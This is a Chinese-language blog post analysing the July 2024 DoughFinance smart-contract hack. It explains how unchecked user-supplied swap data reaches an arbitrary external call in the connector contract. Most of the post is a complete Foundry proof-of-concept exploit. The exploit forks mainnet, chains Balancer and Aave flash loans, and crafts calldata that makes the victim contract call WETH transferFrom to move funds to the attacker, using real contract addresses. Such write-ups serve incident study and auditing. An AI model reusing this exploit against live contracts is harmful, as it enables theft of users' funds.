7.12DoughFinance合约遭受攻击,损失约1.8M。我对这个攻击进行了代码分析和步骤分解,并写了一个基于foundry的poc。
7.12 DoughFinance合约遭受攻击,损失约1.8M(https://x.com/Phalcon_xyz/status/1811661050707607889) 我对这个攻击进行了代码分析和步骤分解,并写了一个基于foundry的poc。 之前觉得web3不存在Remote Code Execution,现在看是我浅薄了。
攻击交易:https://app.blocksec.com/explorer/tx/eth/0x92cdcc732eebf47200ea56123716e337f6ef7d5ad714a2295794fdc6031ebb2e?line=76 受害合约代码: https://vscode.blockscan.com/ethereum/0x9f54e8eaa9658316bb8006e03fff1cb191aafbe6 受害与攻击者链上message transaction:https://etherscan.io/tx/0x38ad3247c6420518c829ff1163c36cd564de5a72b1eaf800437827365e6c4e85 受害合约官方文档: https://docs.dough.finance/
下面我对攻击中重点步骤进行解释:
230行:攻击合约把获利转到自己的钱包。最终完成攻击合约自己的闪电贷逻辑。
漏洞代码:https://vscode.blockscan.com/ethereum/0x9f54e8eaa9658316bb8006e03fff1cb191aafbe6 flashloanReq方法是用户用来调用闪电贷的外部方法,在生命中可以看到最后一个参数swapData会被解析成data然后传入flashloan函数。
function flashloanReq(bool _opt, address[] memory debtTokens, uint256[] memory debtAmounts, uint256[] memory debtRateMode, address[] memory collateralTokens, uint256[] memory collateralAmounts, bytes[] memory swapData) external { bytes memory data = abi.encode(_opt, msg.sender, collateralTokens, collateralAmounts, swapData); IPool(address(POOL)).flashLoan(address(this), debtTokens, debtAmounts, debtRateMode, address(this), data, 0); } 这个flashloan最终会调用executeOperation方法,并且data参数也传入了进来。在下面代码的第六行,data参数被decode成5个变量,包括一个bytes数组类型的变量multiTokenSwapData。这个变量作为参数传入到deloopInOneOrMultipleTransactions方法。
function executeOperation(address[] memory assets, uint256[] memory amounts, uint256[] memory premiums, address initiator, bytes calldata data) external override returns (bool) { if (initiator != address(this)) revert CustomError("not-same-sender"); if (msg.sender != address(POOL)) revert CustomError("not-aave-sender");
FlashloanVars memory flashloanVars;
(flashloanVars.opt, flashloanVars.dsaAddress, flashloanVars.collateralTokens, flashloanVars.collateralAmounts, flashloanVars.multiTokenSwapData) = abi.decode(data, (bool, address, address[], uint256[], bytes[]));
deloopInOneOrMultipleTransactions(flashloanVars.opt, flashloanVars.dsaAddress, assets, amounts, premiums, flashloanVars.collateralTokens, flashloanVars.collateralAmounts, flashloanVars.multiTokenSwapData);
return true;
} deloopInOneOrMultipleTransactions方法中,multiTokenSwapData变量被传入到deloopAllCollaterals
function deloopInOneOrMultipleTransactions(bool opt, address _dsaAddress, address[] memory assets, uint256[] memory amounts, uint256[] memory premiums, address[] memory collateralTokens, uint256[] memory collateralAmounts, bytes[] memory multiTokenSwapData) private { // Repay all flashloan assets or withdraw all collaterals repayAllDebtAssetsWithFlashLoan(opt, _dsaAddress, assets, amounts);
// Extract all collaterals
extractAllCollaterals(_dsaAddress, collateralTokens, collateralAmounts);
// Deloop all collaterals
deloopAllCollaterals(multiTokenSwapData);
// Repay all flashloan assets or withdraw all collaterals
repayFlashloansAndTransferToTreasury(opt, _dsaAddress, assets, amounts, premiums);
} deloopAllCollaterals方法中,multiTokenSwapData被解码成7个变量,并且第6个变量代表一个合约地址,第7个变量代表要调用的这个合约某个方法的声明(例如:transferFrom(address,address,uint256))。 所以在下述代码的第10行,黑客通过构造最终的swapData,让weth合约从doughDSA合约中转出了大量的weth给黑客合约。
function deloopAllCollaterals(bytes[] memory multiTokenSwapData) private {
FlashloanVars memory flashloanVars;
for (uint i = 0; i < multiTokenSwapData.length;) {
// Deloop
(flashloanVars.srcToken, flashloanVars.destToken, flashloanVars.srcAmount, flashloanVars.destAmount, flashloanVars.paraSwapContract, flashloanVars.tokenTransferProxy, flashloanVars.paraswapCallData) = _getParaswapData(multiTokenSwapData[i]);
// using ParaSwap
IERC20(flashloanVars.srcToken).safeIncreaseAllowance(flashloanVars.tokenTransferProxy, flashloanVars.srcAmount);
(flashloanVars.sent, ) = flashloanVars.paraSwapContract.call(flashloanVars.paraswapCallData);
if (!flashloanVars.sent) revert CustomError("ParaSwap deloop failed");
unchecked { i++; }
}
}
PoC思路还是比较简单的:
代码如下:
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "./interface.sol";
contract doughFianceAttack is Test {
address balancerVaultAddress=0xBA12222222228d8Ba445958a75a0704d566BF2C8;
address aaveDebtUsdcToken=0x72E95b8931767C79bA4EeE721354d6E99a61D004;
address aavePoolV3Address=0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2;
address UniswapV2Router=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address circleUSDCToken=0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address doughDsa=0x534a3bb1eCB886cE9E7632e33D97BF22f838d085;
address doughConnector=0x9f54e8eAa9658316Bb8006E03FFF1cb191AafBE6;
address wethAddress=0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
struct FlashloanVars {
address dsaAddress;
address srcToken;
address destToken;
address paraSwapContract;
address tokenTransferProxy;
uint256 srcAmount;
uint256 destAmount;
bool opt; // deloop 100% or in multiple steps
bool sent;
bytes paraswapCallData;
bytes[] multiTokenSwapData;
address[] debtTokens;
address[] collateralTokens;
uint256[] debtAmounts;
uint256[] debtRateMode;
uint256[] collateralAmounts;
}
function setUp() external {
vm.createSelectFork("https://eth.llamarpc.com", 20288623 - 1);
deal(address(circleUSDCToken), address(this), 7e6);
}
function testAttack() external{
//0. 先打印攻击前账户余额
console.log("*******************before attack*******************");
console.log("USDC: ",IERC20(circleUSDCToken).balanceOf(address(this)));
//1. 闪电贷
uint256 flashLoanAmount=IERC20(aaveDebtUsdcToken).balanceOf(0x534a3bb1eCB886cE9E7632e33D97BF22f838d085);
address[] memory tokens=new address[](1);
tokens[0]=circleUSDCToken;
uint256[] memory amounts=new uint256[](1);
amounts [0]=flashLoanAmount;
(FlashloanVars memory flashloanVars1,FlashloanVars memory flashloanVars2)=createMaliciousData();
bytes memory maliciousUserData=abi.encode([flashloanVars1,flashloanVars2]);
iBalancerVault(payable(balancerVaultAddress)).flashLoan(address(this),tokens,amounts,maliciousUserData);
}
function receiveFlashLoan (address[] memory tokens,uint256[] memory amounts,uint256[] memory feeAmounts,bytes memory userData) external {
//2. 替doughDsa还掉当前在aave的借贷,虽然我没想明白为什么帮它还款????
IERC20(circleUSDCToken).approve(aavePoolV3Address,type(uint256).max);
InitializableImmutableAdminUpgradeabilityProxy aavePoolV3 = InitializableImmutableAdminUpgradeabilityProxy(payable(aavePoolV3Address));
aavePoolV3.repay(circleUSDCToken,amounts[0],2,doughDsa);
//3. 给dough转6个 USDC
IERC20(circleUSDCToken).approve(address(this),type(uint256).max);
IERC20(circleUSDCToken).transferFrom(address(this),doughConnector,6e6);
//4. 调用dough的闪电贷,并把精心构造的恶意userData作为参数传入。
ConnectorDeleverageParaswap DoughConnector = ConnectorDeleverageParaswap(payable(doughConnector));
uint256[] memory doughFlashDebtAmounts=new uint256[](1);
doughFlashDebtAmounts[0]=5e6;
uint256[] memory doughFlashRateModes=new uint256[](1);
doughFlashRateModes[0]=0;
address[] memory doughFlashCollaterals=new address[](0);
uint256[] memory doughFlashAmounts=new uint256[](0);
(FlashloanVars memory flashloanVars1,FlashloanVars memory flashloanVars2)=createMaliciousData();
bytes[] memory maliciousUserData = new bytes[](2);
maliciousUserData[0]=abi.encode(flashloanVars1.srcToken,flashloanVars1.destToken,flashloanVars1.srcAmount,flashloanVars1.destAmount,flashloanVars1.paraSwapContract,flashloanVars1.tokenTransferProxy,flashloanVars1.paraswapCallData);
maliciousUserData[1]=abi.encode(flashloanVars2.srcToken,flashloanVars2.destToken,flashloanVars2.srcAmount,flashloanVars2.destAmount,flashloanVars2.paraSwapContract,flashloanVars2.tokenTransferProxy,flashloanVars2.paraswapCallData);
DoughConnector.flashloanReq(false,tokens,doughFlashDebtAmounts,doughFlashRateModes,doughFlashCollaterals,doughFlashAmounts,maliciousUserData);
//5.把薅来的weth换成usdc,用于最后还闪电贷
uint256 wethBalance=IERC20(wethAddress).balanceOf(address(this));
IERC20(wethAddress).approve(UniswapV2Router,type(uint256).max);
//IERC20(wethAddress).approve(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc,type(uint256).max);
uint256 wethBalance2=IERC20(wethAddress).balanceOf(address(this));
address[] memory swapAddress=new address[](2);
swapAddress[0]=wethAddress;
swapAddress[1]=circleUSDCToken;
UniswapV2Router02(payable(UniswapV2Router)).swapExactTokensForTokens(wethBalance2,0,swapAddress,address(this),496744648055377423623);
//6.还balancerVault闪电贷
IERC20(circleUSDCToken).transfer(balancerVaultAddress,amounts[0]);
//0. 打印攻击后账户余额
console.log("*******************after attack*******************");
console.log("USDC: ",IERC20(circleUSDCToken).balanceOf(address(this)));
}
function executeAction(uint256 connectorId, address tokenIn, uint256 amountIn, address toeknOut, uint256 amountOut, uint256 actionId) external{
}
function createMaliciousData() private returns(FlashloanVars memory data1,FlashloanVars memory data2){
//
FlashloanVars memory flashloanVars1;
flashloanVars1.srcToken=circleUSDCToken;
flashloanVars1.destToken=circleUSDCToken;
flashloanVars1.srcAmount=type(uint128).max;
flashloanVars1.destAmount=type(uint128).max;
flashloanVars1.paraSwapContract=doughDsa;
flashloanVars1.tokenTransferProxy=doughDsa;
bytes4 selector1=bytes4(keccak256("executeAction(uint256,address,uint256,address,uint256,uint256)"));
flashloanVars1.paraswapCallData=abi.encodeWithSelector(selector1, 22,circleUSDCToken,5e6,wethAddress,596744648055377423623,2);
FlashloanVars memory flashloanVars2;
flashloanVars2.srcToken=circleUSDCToken;
flashloanVars2.destToken=circleUSDCToken;
flashloanVars2.srcAmount=type(uint128).max;
flashloanVars2.destAmount=type(uint128).max;
flashloanVars2.paraSwapContract=wethAddress;
flashloanVars2.tokenTransferProxy=aavePoolV3Address;
bytes4 selector2=bytes4(keccak256("transferFrom(address,address,uint256)"));
flashloanVars2.paraswapCallData=abi.encodeWithSelector(selector2, doughDsa,address(this),596744648055377423623);
return (flashloanVars1,flashloanVars2);
}
receive() external payable {}
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!